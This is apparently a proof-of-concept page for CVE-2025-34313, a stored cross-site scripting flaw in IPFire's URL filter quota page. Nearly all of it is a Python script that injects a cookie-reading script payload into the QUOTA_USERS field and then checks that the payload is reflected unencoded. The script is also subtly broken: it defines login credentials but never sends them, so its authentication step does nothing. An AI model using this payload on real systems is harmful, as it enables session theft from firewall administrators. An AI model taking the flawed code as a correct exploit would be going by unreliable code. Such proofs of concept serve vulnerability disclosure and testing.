CVE-2025-34313 IPFire QUOTA_USERS参数存储型XSS漏洞

import requests import re # CVE-2025-34313 PoC - IPFire Stored XSS via QUOTA_USERS Parameter # Target: IPFire < 2.29 (Core Update 198) # Author: VulnCheck ([email protected]) TARGET_URL = "http://target-ipfire.local/cgi-bin/urlfilter.cgi" USERNAME = "attacker" PASSWORD = "attacker_password" # XSS payload - executes alert when viewed XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit(): """Exploit stored XSS in QUOTA_USERS parameter""" # Step 1: Authenticate to IPFire session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Step 2: Create user quota rule with XSS payload quota_data = { 'MODE': 'USERQUOTA', 'QUOTA_USERS': XSS_PAYLOAD, 'QUOTA_LIMIT': '1000', 'ACTION': 'SAVE' } response = session.post(TARGET_URL, data=quota_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload stored in QUOTA_USERS parameter") print("[*] Any user viewing quota rules will trigger the XSS") else: print("[-] Exploitation failed") def verify(): """Verify XSS is stored and reflected without encoding""" session = requests.Session() # Access quota rules page response = session.get(TARGET_URL + "?MODE=USERQUOTA") if XSS_PAYLOAD in response.text: print("[+] XSS confirmed - payload reflected without encoding") else: print("[-] XSS not found - may have been patched") if __name__ == "__main__": exploit() verify()